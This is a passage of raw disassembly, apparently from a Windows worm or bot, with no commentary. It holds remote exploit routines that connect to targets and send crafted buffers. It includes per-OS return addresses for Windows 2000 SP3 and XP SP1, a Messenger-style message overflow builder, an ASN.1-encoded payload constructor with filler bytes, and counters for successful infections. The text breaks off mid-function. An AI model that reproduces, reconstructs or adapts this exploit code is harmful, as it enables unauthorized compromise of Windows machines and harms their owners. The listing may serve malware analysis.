		mov	ebp, esp
		sub	esp, 654h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	ds:dword_451530
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	ds:dword_4514F4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	ds:dword_451570
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40C3E7
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_45149C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C3E7
		push	edi
		push	89h
		push	offset dword_445B70
		push	ebx
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C3E7
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_45150C
		push	edi
		push	0A8h
		push	offset dword_445BFC
		push	ebx
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C3E7
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_45150C
		push	edi
		push	0DEh
		push	offset dword_445CA8
		push	ebx
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C3E7
		push	edi
		lea	eax, [ebp-654h]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_45150C
		movsx	eax, byte ptr [ebp-610h]
		sub	eax, 30h
		jz	short loc_40C40F
		dec	eax
		jz	short loc_40C3EE


loc_40C3E7:				; CODE XREF: seg000:0040C342j
					; seg000:0040C358j ...
		xor	eax, eax
		jmp	loc_40C47F
; ---------------------------------------------------------------------------


loc_40C3EE:				; CODE XREF: seg000:0040C3E5j
		push	edi
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BEAB
		add	esp, 0C4h
		push	0
		jmp	short loc_40C433
; ---------------------------------------------------------------------------


loc_40C40F:				; CODE XREF: seg000:0040C3E2j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BEAB
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40C453
		push	1


loc_40C433:				; CODE XREF: seg000:0040C40Dj
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BEAB
		add	esp, 0C4h
		test	al, al
		jz	short loc_40C45A


loc_40C453:				; CODE XREF: seg000:0040C42Fj
		mov	dword ptr [ebp-4], 1


loc_40C45A:				; CODE XREF: seg000:0040C451j
		push	ebx
		call	ds:dword_451588
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40C47C
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	ds:dword_4439F8[eax]
		lea	eax, dword_4439F8[eax]


loc_40C47C:				; CODE XREF: seg000:0040C465j
		push	1
		pop	eax


loc_40C47F:				; CODE XREF: seg000:0040C3E9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 2060h
		call	sub_41DEB0
		push	ebx
		push	esi
		push	edi
		push	5
		pop	ecx
		mov	esi, offset aWindows2000Sp3 ; "Windows 2000 SP 3 (en)"
		lea	edi, [ebp-60h]
		xor	eax, eax
		rep movsd
		movsw
		movsb
		lea	edi, [ebp-49h]
		push	5
		stosd
		stosw
		stosb
		pop	ecx
		mov	esi, offset aWindowsXpSp1En ; "Windows XP SP 1 (en)"
		lea	edi, [ebp-38h]
		mov	dword ptr [ebp-40h], 77EE044Ch
		mov	dword ptr [ebp-3Ch], 768D693Eh
		xor	eax, eax
		rep movsd
		movsb
		lea	edi, [ebp-23h]
		push	1
		stosd
		stosd
		stosb
		lea	eax, [ebp+0Ch]
		mov	dword ptr [ebp-18h], 77ED73B4h
		push	eax
		mov	dword ptr [ebp-14h], 7804BF52h
		call	sub_417569
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jz	loc_40C5E8
		test	eax, eax
		jz	loc_40C5E8
		push	2
		pop	edi
		cmp	eax, edi
		jnz	short loc_40C508
		xor	esi, esi
		jmp	short loc_40C50E
; ---------------------------------------------------------------------------


loc_40C508:				; CODE XREF: seg000:0040C502j
		mov	esi, [ebp+0C0h]


loc_40C50E:				; CODE XREF: seg000:0040C506j
		cmp	eax, 3
		jnz	short loc_40C516
		push	1
		pop	esi


loc_40C516:				; CODE XREF: seg000:0040C511j
		push	10h
		lea	eax, [ebp-10h]
		push	0
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	[ebp-10h], di
		push	eax
		call	ds:dword_451530
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	ds:dword_4514F4
		mov	[ebp-0Eh], ax
		lea	eax, [esi+esi*4]
		shl	eax, 3
		push	dword ptr [ebp+eax-40h]
		push	dword ptr [ebp+eax-3Ch]
		lea	eax, [ebp-2060h]
		push	2000h
		push	eax
		call	sub_40C5EF
		add	esp, 10h
		mov	ebx, eax
		push	11h
		push	edi
		push	edi
		call	ds:dword_451570
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C5E8
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	0
		lea	eax, [ebp-2060h]
		push	ebx
		push	eax
		push	esi
		call	ds:dword_451554
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C5E8
		push	esi
		call	ds:dword_451588
		push	1F4h
		call	ds:dword_4F12F4	; Sleep
		push	23E7h
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_417E0E
		add	esp, 0C0h
		cmp	al, 1
		jnz	short loc_40C5E8
		mov	eax, [ebp+0B0h]
		push	1
		shl	eax, 6
		inc	ds:dword_4439F8[eax]
		lea	eax, dword_4439F8[eax]
		pop	eax
		jmp	short loc_40C5EA
; ---------------------------------------------------------------------------


loc_40C5E8:				; CODE XREF: seg000:0040C4EFj
					; seg000:0040C4F7j ...
		xor	eax, eax


loc_40C5EA:				; CODE XREF: seg000:0040C5E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C5EF	proc near		; CODE XREF: seg000:0040C561p

var_13DC	= byte ptr -13DCh
var_13CC	= byte ptr -13CCh
var_11E8	= byte ptr -11E8h
var_AE4		= byte ptr -0AE4h
var_68E		= byte ptr -68Eh
var_683		= dword	ptr -683h
var_67F		= dword	ptr -67Fh
var_67B		= byte ptr -67Bh
var_551		= byte ptr -551h
var_54		= byte ptr -54h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 13DCh
		call	sub_41DEB0
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_446510
		lea	edi, [ebp+var_10]
		push	7
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset aNetmaniac ; "NETMANIAC"
		lea	edi, [ebp+var_24]
		movsd
		movsd
		movsw
		mov	esi, offset aAdik ; "ADIK"
		lea	edi, [ebp+var_18]
		movsd
		movsb
		pop	ecx
		mov	esi, offset byte_446534
		lea	edi, [ebp+var_54]
		push	[ebp+arg_4]
		rep movsd
		movsw
		movsb
		mov	esi, offset byte_446554
		lea	edi, [ebp+var_34]
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset aMessage ; "*** MESSAGE ***"
		lea	edi, [ebp+var_13DC]
		movsd
		movsd
		movsd
		movsd
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		mov	ecx, 4DEh
		lea	edi, [ebp+var_13CC]
		push	eax
		push	esi
		rep stosd
		call	sub_41D100
		push	50h
		push	offset dword_44648C
		push	esi
		call	sub_41E840
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41AC70
		mov	edi, eax
		lea	eax, [ebp+var_10]
		push	0Ch
		push	eax
		lea	eax, [esi+50h]
		inc	edi
		push	eax
		mov	[ebp+var_10], edi
		mov	[ebp+var_8], edi
		call	sub_41E840
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [esi+5Ch]
		push	eax
		call	sub_41E550
		dec	edi
		lea	eax, [ebp+var_18]
		and	edi, 0FFFFFFFCh
		push	eax
		add	edi, 60h
		call	sub_41AC70
		mov	ebx, eax
		push	0Ch
		inc	ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [edi+esi]
		push	eax
		call	sub_41E840
		add	esp, 40h
		add	edi, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [edi+esi]
		push	eax
		call	sub_41E550
		dec	ebx
		push	8F8h
		and	ebx, 0FFFFFFFCh
		lea	eax, [ebp+var_13DC]
		push	90h
		push	eax
		lea	edi, [edi+ebx+4]
		call	sub_41D100
		push	1E4h
		lea	eax, [ebp+var_11E8]
		push	offset loc_4462A8
		push	eax
		call	sub_41E840
		push	708h
		lea	eax, [ebp+var_AE4]
		push	14h
		push	eax
		call	sub_41D100
		lea	eax, [ebp+var_34]
		push	0Dh
		push	eax
		lea	eax, [ebp+var_68E]
		push	eax
		call	sub_41E840
		mov	eax, [ebp+arg_8]
		push	1Eh
		mov	[ebp+var_683], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_67F], eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_67B]
		push	eax
		call	sub_41E840
		mov	eax, 0E8Ch
		add	esp, 44h
		sub	eax, edi
		push	eax
		push	offset aMsgBodySizeD ; "[*] Msg	body size: %d\n"
		push	offset dword_44FA90
		call	sub_41E440
		lea	eax, [ebp+var_551]
		sub	eax, edi
		and	byte ptr [eax],	0
		lea	eax, [ebp+var_13DC]
		push	eax
		call	sub_41AC70
		mov	ebx, eax
		lea	eax, [ebp+var_10]
		push	0Ch
		push	eax
		lea	eax, [edi+esi]
		inc	ebx
		push	eax
		mov	[ebp+var_10], ebx
		mov	[ebp+var_8], ebx
		call	sub_41E840
		add	edi, 0Ch
		lea	eax, [ebp+var_13DC]
		push	eax
		lea	eax, [edi+esi]
		push	eax
		call	sub_41E550
		push	0
		add	edi, ebx
		call	loc_41ED90
		mov	[esi+28h], eax
		add	esp, 28h
		lea	eax, [edi-50h]
		mov	[esi+4Ah], eax
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C5EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C7D3	proc near		; CODE XREF: sub_40CA75+Ep
					; sub_40CA75+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C7D3	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	dword ptr [ebp+8]
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	ecx, [ebp-8]
		push	dword ptr [ebp+8]
		call	sub_40C80B
		mov	ecx, [eax]
		mov	[esi], ecx
		mov	eax, [eax+4]
		mov	[esi+4], eax
		mov	eax, esi
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40C80B	proc near		; CODE XREF: seg000:0040C7F5p
					; sub_40CA75+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41AE40
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C83D
		push	ebx
		push	0
		push	edi
		call	sub_41D100
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41E840
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C83D:				; CODE XREF: sub_40C80B+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C80B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C845	proc near		; CODE XREF: sub_40C93F+18p
					; sub_40C9B9+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41AE40
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C891
		push	edi
		push	0
		push	esi
		call	sub_41D100
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41E840
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41E840
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C891:				; CODE XREF: sub_40C845+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C845	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C89A	proc near		; CODE XREF: sub_40C93F+5Ep
					; sub_40C93F+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C8AA
		push	eax
		call	sub_41B8B0
		pop	ecx


loc_40C8AA:				; CODE XREF: sub_40C89A+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C89A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8B3	proc near		; CODE XREF: sub_40C93F+20p
					; sub_40CA1A+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C8E0
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41AE40
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C8E4


loc_40C8E0:				; CODE XREF: sub_40C8B3+Dj
		xor	al, al
		jmp	short loc_40C93B
; ---------------------------------------------------------------------------


loc_40C8E4:				; CODE XREF: sub_40C8B3+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41D100
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C909
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C923
; ---------------------------------------------------------------------------


loc_40C909:				; CODE XREF: sub_40C8B3+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C923:				; CODE XREF: sub_40C8B3+54j
		push	eax
		call	sub_41E840
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B8B0
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C93B:				; CODE XREF: sub_40C8B3+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C8B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C93F	proc near		; CODE XREF: sub_40CA75+89p
					; sub_40CA75+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4E247C
		call	sub_40C845
		lea	ecx, [ebp+var_8]
		call	sub_40C8B3
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41AE40
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C979
		xor	al, al
		jmp	short loc_40C9B5
; ---------------------------------------------------------------------------


loc_40C979:				; CODE XREF: sub_40C93F+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41D100
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41E840
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C89A
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C89A
		mov	al, 1


loc_40C9B5:				; CODE XREF: sub_40C93F+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C93F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9B9	proc near		; CODE XREF: sub_40C9ED+14p
					; sub_40CA0A+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C845
		mov	ecx, esi
		call	sub_40C89A
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40C9B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C9ED	proc near		; CODE XREF: sub_40CA75+F0p
					; sub_40CA75+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AC70
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40C9B9
		pop	esi
		retn	4
sub_40C9ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA0A	proc near		; CODE XREF: sub_40CA56+Bp
					; sub_40CA75+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40C9B9
		retn	8
sub_40CA0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1A	proc near		; CODE XREF: sub_40CA56+16p
					; sub_40CA75+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C8B3
		test	al, al
		jz	short loc_40CA53
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_4468F7+1)
		call	sub_40C845
		mov	ecx, esi
		call	sub_40C89A
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CA53:				; CODE XREF: sub_40CA1A+Fj
		pop	esi
		leave
		retn
sub_40CA1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA56	proc near		; CODE XREF: sub_40CA75+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA0A
		test	al, al
		jz	short loc_40CA71
		mov	ecx, esi
		call	sub_40CA1A


loc_40CA71:				; CODE XREF: sub_40CA56+12j
		pop	esi
		retn	8
sub_40CA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA75	proc near		; CODE XREF: seg000:0040D2D4p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C7D3
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CDC9
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CDC9
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C7D3
		lea	ecx, [ebp+var_20]
		call	sub_40C7D3
		lea	ecx, [ebp+var_50]
		call	sub_40C7D3
		lea	ecx, [ebp+var_18]
		call	sub_40C7D3
		lea	ecx, [ebp+var_40]
		call	sub_40C7D3
		lea	ecx, [ebp+var_38]
		call	sub_40C7D3
		lea	ecx, [ebp+var_28]
		call	sub_40C7D3
		push	4
		push	offset dword_446598
		lea	ecx, [ebp+var_30]
		call	sub_40C9B9
		push	3
		push	offset dword_4465A0
		lea	ecx, [ebp+var_30]
		call	sub_40C9B9
		lea	ecx, [ebp+var_30]
		call	sub_40C93F
		lea	ecx, [ebp+var_30]
		call	sub_40CA1A
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40C9B9
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40C9B9
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40C9B9
		lea	ecx, [ebp+var_20]
		call	sub_40C93F
		push	offset loc_4468FC
		lea	ecx, [ebp+var_50]
		call	sub_40C9ED
		lea	ecx, [ebp+var_50]
		call	sub_40C93F
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C80B
		lea	ecx, [ebp+var_58]
		call	sub_40C93F
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CA56
		lea	ecx, [ebp+var_58]
		call	sub_40C89A
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40C9ED
		push	4
		push	offset dword_4465A4
		lea	ecx, [ebp+var_18]
		call	sub_40C9B9
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40C9B9
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40C9B9
		lea	ecx, [ebp+var_18]
		call	sub_40C93F
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA0A
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA0A
		lea	ecx, [ebp+var_40]
		call	sub_40CA1A
		lea	ecx, [ebp+var_18]
		call	sub_40C89A
		lea	ecx, [ebp+var_50]
		call	sub_40C89A
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA0A
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA0A
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA0A
		lea	ecx, [ebp+var_38]
		call	sub_40CA1A
		lea	ecx, [ebp+var_20]
		call	sub_40C89A
		lea	ecx, [ebp+var_30]
		call	sub_40C89A
		lea	ecx, [ebp+var_40]
		call	sub_40C89A
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40C9B9
		lea	ecx, [ebp+var_28]
		call	sub_40C93F
		push	2
		push	offset dword_446910
		lea	ecx, [ebp+var_28]
		call	sub_40C9B9
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA0A
		lea	ecx, [ebp+var_28]
		call	sub_40CA1A
		lea	ecx, [ebp+var_38]
		call	sub_40C89A
		lea	ecx, [ebp+var_10]
		call	sub_40C7D3
		lea	ecx, [ebp+var_8]
		call	sub_40C7D3
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA0A
		lea	ecx, [ebp+var_10]
		call	sub_40C8B3
		lea	ecx, [ebp+var_28]
		call	sub_40C89A
		push	offset dword_446914
		lea	ecx, [ebp+var_8]
		call	sub_40C9ED
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA0A
		lea	ecx, [ebp+var_8]
		call	sub_40C8B3
		lea	ecx, [ebp+var_10]
		call	sub_40C89A
		push	offset dword_446918
		lea	ecx, [ebp+var_10]
		call	sub_40C9ED
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA0A
		lea	ecx, [ebp+var_10]
		call	sub_40C8B3
		lea	ecx, [ebp+var_8]
		call	sub_40C89A
		push	offset dword_44691C
		lea	ecx, [ebp+var_8]
		call	sub_40C9ED
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA0A
		lea	ecx, [ebp+var_8]
		call	sub_40C8B3
		lea	ecx, [ebp+var_10]
		call	sub_40C89A
		push	offset dword_446928
		lea	ecx, [ebp+var_48]
		call	sub_40C9ED
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA0A
		lea	ecx, [ebp+var_8]
		call	sub_40C89A
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CDD7
; ---------------------------------------------------------------------------


loc_40CDC9:				; CODE XREF: sub_40CA75+1Bj
					; sub_40CA75+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CDD7:				; CODE XREF: sub_40CA75+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CA75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CDDB	proc near		; CODE XREF: sub_40CE9F+A1p
					; sub_40CE9F+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	ds:dword_4F14F4	; select
		cmp	eax, edi
		jnz	short loc_40CE42
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_437842	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40CE46


loc_40CE42:				; CODE XREF: sub_40CDDB+54j
		xor	eax, eax
		jmp	short loc_40CE56
; ---------------------------------------------------------------------------


loc_40CE46:				; CODE XREF: sub_40CDDB+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	ds:dword_45150C


loc_40CE56:				; CODE XREF: sub_40CDDB+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CDDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE5A	proc near		; CODE XREF: sub_40CE9F+81p
					; sub_40CE9F+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
